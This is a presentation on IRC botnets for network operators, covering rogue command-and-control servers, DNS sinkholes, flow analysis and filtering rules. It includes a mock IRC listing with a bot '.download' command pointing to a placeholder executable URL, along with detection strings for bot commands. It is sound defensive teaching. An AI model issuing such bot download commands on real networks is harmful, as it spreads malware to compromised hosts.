Botnets

John Kristoff
jtk@northwestern.edu
http://aharp.ittns.northwestern.edu
+1 847 467-5878
Northwestern University
Evanston, IL 60208
Agenda

- Introduction
- Rogue controllers
- DNS
- Packets and flows
- Other considerations
Why are we talking about this?

- Rise in IRC-based botnets over the past year
  - (ago|for|gt|phat|r|rx|sd)bot
- Transient hosts spread malware far and wide
  - laptops, cafes, dorms, dial-up, VPNs
- The packet potential is scary
- Can network operators help deal with this?
What is a botnet?

• An army of compromised hosts (bots)
• Under a common command and control (c&c):
  • commonly IRC-based
• The bot:
  • servant code, exploit and attack tools
• The purpose:
  • DoS, id theft, keyloggers, phishing, spam
  • for fun and profit
Commanders and controllers

- c&c functions mostly centralized
  - one or more IRC servers
  - well known DNS names
  - vanity web pages for malware updates
- Nothing really new
  - CERT's October 2001 Trends in DoS paper
Bots

• Come and get it
• Scan and 'sploit
  • SP2 – where have you been all my life?
• Full remotely controlled command tool kit
  • e.g. http://jayzafool.com/commands.html
• Note: brute force and sniffing attacks increasing
Today's themes

• Network-based mitigation
• Disrupting command and control infrastructure
Rogue IRC servers

- Random ports increasingly common
- Commands disabled or booby-trapped
- Password protected servers
- Hidden and keyed channels
- Running on compromised host(s)
  - probably a bot that got promoted
Signs of rogue

• High invisible to visible user ratio
• High user to channel ratio
• Server display name doesn't match IP address
• Suspicious nicks, topics and channel names
• Suspicious DNS name used to find server(s)
• Suspicious A RR(s) associated with DNS name
• Connected hosts exhibiting suspicious behavior
Welcome to irc.whitehouse.gov
Your host is h4x0r.0wnz.j00
There are 9556 users and 9542 invisible on 1 server
5 :channels formed
1 :operators online
Channel Users Topic
#help 1
#oldb0ts 5 .download
   http://w4r3z.example.org/r00t.exe
End of /LIST
Shades of rogue

• Some IRC networks attract warez file trading
• Bots with backdoor FTP servers common
• XDCC used to serve files to clients
• Let BSA, MPAA and RIAA deal with these?
Bot parking in the red zone

- Legitimate servers used for bot migration
- Many IRC ops tirelessly k-line bad bots
- IRC ops are hesitant to upset the miscreants
- With monitoring, bots can be easily spotted
  - spikes may indicate incoming botnet
  - idle connections may be bots
  - analogous nicks in a channel may be bots
The role of DNS

• A rogue controller may not be just an address
• DNS commonly used to find control server
• Short TTLs in case A RR(s) host(s) go away
  • monitoring RR(s) with dnswatch or equivalent
  • http://aharp.ittns.northwestern.edu/software/
• There are many free or low-cost DNS services
Finding DNS

- DNS query logging
- Packet capture
- Malware analysis
- Bots query infrequently unless name is closed
- Bouncing link can catch a query
Suspicious DNS activity

- Repetitive A queries may indicate servant bot
- MX queries may indicate spam bot
- in-addr.arpa queries may indicate a server
- Usually 3 level hostname.subdomain.TLD
  - \[\w+\|\w+\|\w+\]
- Names that just look rogue
  - Something .edu's can't be blamed for! :-}
DNS admin mitigation

- Log RR changes and sources of changes
- Pull RRs created with invalid credit cards
- Close with a long TTL
  - 604800 (7 days) to 2592000 (30 days)
  - 2147483647 might be a little too long
- Which bogon to close name with?
- Consider submitting to black list (e.g. dnsbl.org)
Name-based sink holes with BIND

zone "rogue.example.net" {
    type master;
    file "/etc/db.badname";
};

$TTL 30D
@    IN  SOA ns1.example.net. root (2004101700 3H 15M 1W 1D )
IN    NS  ns1.example.net.
IN    A   192.0.2.1
Synchronization problem

- If name doesn't resolve, but controller is up
  - connected bots instructed to update DNS
- If controller(s) is(are) gone, but name resolves
  - DNS changed to point to new controller(s)
- Synchronizing the closure of both is difficult
Wanted? DNS software hacks

- Recursive query congestion control
  - RED queue or even simple rate limiter
    - OS/upstream box can do this, but
    - probably not specific to recursive queries
- Name-based sink holes w/ regex support
Network mitigation techniques

- Maintain historic flow data
- Sink holes, dark space and bogon monitoring
- Distributed micro-block sink holes
- IDS, tap and scrubbing tools as appropriate
- Remote triggered black holes
- Host quarantining
Network mitigation techniques 2

- Rate limits for uncommon protocols, ports
- Anti-spoofing filters and uRPF checks
- Ingress and egress filters
  - FAQ: Filter port UDP/TCP port 0?
  - c&c filtering, blackholes
  - what are you permitting to 224/4?
- Distribution, replication and anycast
You need these in your toolkit

- Cisco interactive flow monitor (poor man's tool)
  - `show ip cache flow`
- `flow-tools`
  - `http://www.splintered.net/sw/flow-tools/`
  - see Ed Ravin's flow-tools mailing list post:
    - *Checking for DoS or portscanning traffic*
- `nfdump`
  - `http://nfdump.sourceforge.net/`
Mining flows for bots

- Don't just do flow monitoring at the borders
- TCP dport 6667 flows to unlikely netblocks
- Single source to multi-destination dark space
- Single source to multi-destination, short flows
- SYNns coupled with unreachables or RSTs
- TFTP flows
Wanted? Network hacks

• Maximum flow rate limiter or queueing knobs
• Network traffic authorization/credit schemes
• Bot bounty hunters and black hole lists
Sample Windows XP bot catcher

ipsecmd -w REG -p botcatcher -r
  TCP445  -f 0:*=*:445:TCP   -n BLOCK
ipsecmd -w REG -p botcatcher -r
  TCP135  -f 0:*=*:135:TCP   -n BLOCK
ipsecmd -w REG -p botcatcher -r
  ICMP    -f 0:*=*:ICMP     -n BLOCK
ipsecmd -w REG -p botcatcher -r
  HTTP    -f *=0:80:TCP     -n BLOCK
ipsecmd -w REG -p botcatcher -x
Things that don't help much

- Rogue IRC exploration
- Failing to contact upstreams and admins
  - `whois -h whois.cymru.com help`
- Blocking TCP port 6667
Points that didn't fit elsewhere

- Putting a botnet catcher on c&c address/name
- Idle IRC traffic is rhythmic (15/30/60/90 secs)
- TCP port 113 on Windows often suggests bot
- FTP on odd ports often a bad sign
- Common c&c and servant strings
  - e.g. .advsan lsass \d+ \d+ \d+ (-[a-z] )+
Hardening botnets

• Encrypted command and control channels
• Non-IRC based command and control
• IPv6 networks
• Distributed controllers
• Alternatives to DNS for controller discovery
• Botnet hunter defense and counterstrikes
People we need to talk to

• Malware analysis engineers and A/V vendors
  • you often find c&c quickly, tell us, we'll nuke
• DNS admins
  • you're pointing RRs at us, we want to know
• IRC operators
  • you see tons of bots, report, we'll investigate
• Each of you have one thing in common...
  • hosts on our nets are attacking you!
References

• http://www.cymru.com/Presentations/
• http://www.tik.ee.ethz.ch/~ddosvax/
• http://www.securite.org/presentations/secip/
  • BOTNet and DDoS mitigation for ISPs
  • look for CPN Summit 2004
• Latest Trends in Botnets
  • Boaz Elger, Riverhead presentation 2004
Other informational resources

- nsp-sec, INOC-DBA, FIRST, UNISOG
- irc.netsplit.de, searchirc.com, Google
- mynetwatchman, dshield, isc.sans.org
- anti-virus vendor technical analyses
In closing

- Thus far it has gotten worse, not better
- Any bot can instantly become a controller
  - and there are hundreds of thousands of bots
- Advanced c&c mitigation techniques needed